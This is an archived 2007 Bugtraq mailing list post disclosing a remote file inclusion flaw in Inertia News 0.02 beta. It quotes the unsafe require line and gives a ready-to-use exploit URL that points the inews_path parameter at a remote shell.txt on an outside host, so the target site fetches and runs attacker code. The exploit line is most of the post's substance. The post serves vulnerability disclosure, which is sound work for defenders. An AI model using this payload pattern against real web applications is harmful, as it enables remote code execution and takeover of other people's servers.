bugtraq - Inertia News Remote File İnclude

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070212205518.12666.qmail@securityfocus.com>
Date: 12 Feb 2007 20:55:18 -0000
From: crazy_king@...7.org
To: bugtraq@...urityfocus.com
Subject: Inertia News Remote File &#304;nclude

Version :
0.02 beta

Error : 
require ("$inews_path/inertia_sql_class.php");

Exploit : http://www.victim.com/inertianews_main.php?inews_path=http://www.site.com/shell.txt

Eno7.Org - Crazy-King.ORg

Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayy&#305;ld&#305;z Tim